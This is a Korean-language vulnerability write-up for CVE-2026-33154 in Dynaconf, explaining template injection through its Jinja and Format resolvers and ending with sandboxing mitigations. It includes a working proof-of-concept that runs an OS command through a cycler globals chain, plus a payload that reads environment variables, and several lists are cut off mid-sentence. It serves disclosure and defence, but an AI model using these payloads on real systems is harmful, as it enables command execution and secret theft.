
CVE-2026-33154에 대한 개념 증명 익스플로잇으로, Dynaconf의 Jinja 리졸버에서 SSTI를 통한 원격 코드 실행을 시연하며, 분석 및 완화 지침을 포함합니다.
Dynaconf는 __@Jinja__ 리졸버의 안전하지 않은 템플릿 평가로 인해 서버 측 템플릿 인젝션(SSTI) 에 취약합니다. jinja2 패키지가 설치된 경우, Dynaconf는 구성 값에 포함된 템플릿 표현식을 샌드박스 환경 없이 평가합니다.
공격자가 다음과 같은 구성 소스에 영향을 줄 수 있다면:
.env 파일...호스트 시스템에서 임의 OS 명령을 실행할 수 있습니다. 또한 __@Format__ 리졸버는 객체 그래프 탐색을 허용하여 민감한 런타임 객체와 환경 변수를 노출할 수 있습니다.
이 취약점은 Dynaconf의 문자열 리졸버에 적절한 보안 경계가 없기 때문에 발생합니다.
__@Jinja__ 리졸버__@Jinja__ 리졸버는 전체 Jinja2 평가를 사용하여 템플릿을 렌더링합니다. 그러나 렌더링 컨텍스트는 공격자가 Python의 내부 속성에 접근할 수 있습니다. 와 같은 객체를 사용하여 공격자는 Python의 전역 객체에 도달하고 모듈을 가져올 수 있습니다.
cycleros공격 경로 예시:
cycler → __init__ → __globals__ → os → popen()
이는 임의 명령 실행으로 이어집니다.
__@Format__ 리졸버__@Format__ 리졸버는 내부 객체를 사용하여 Python 문자열 포맷팅을 수행합니다. 이를 통해 공격자는 Python의 객체 그래프를 탐색하고 민감한 런타임 객체에 접근할 수 있습니다.
탐색 예시:
{this.__class__.__init__.__globals__[os].environ}
이를 통해 다음이 노출될 수 있습니다:
import os
from dynaconf import Dynaconf
# 악성 구성 인젝션
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] 명령 실행 결과:")
print(settings.RCE)
성공적인 악용 시 공격자는 다음을 수행할 수 있습니다:
구성 값은 CI/CD 파이프라인, 컨테이너 오케스트레이션 시스템 또는 환경 인젝션에서 비롯될 수 있으므로, 이 취약점은 실제 배포 환경에서 원격으로 악용 가능할 수 있습니다.
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__ 사용을 신뢰할 수 있는 값으로 제한safe_value = "{name}".format(name=trusted_name)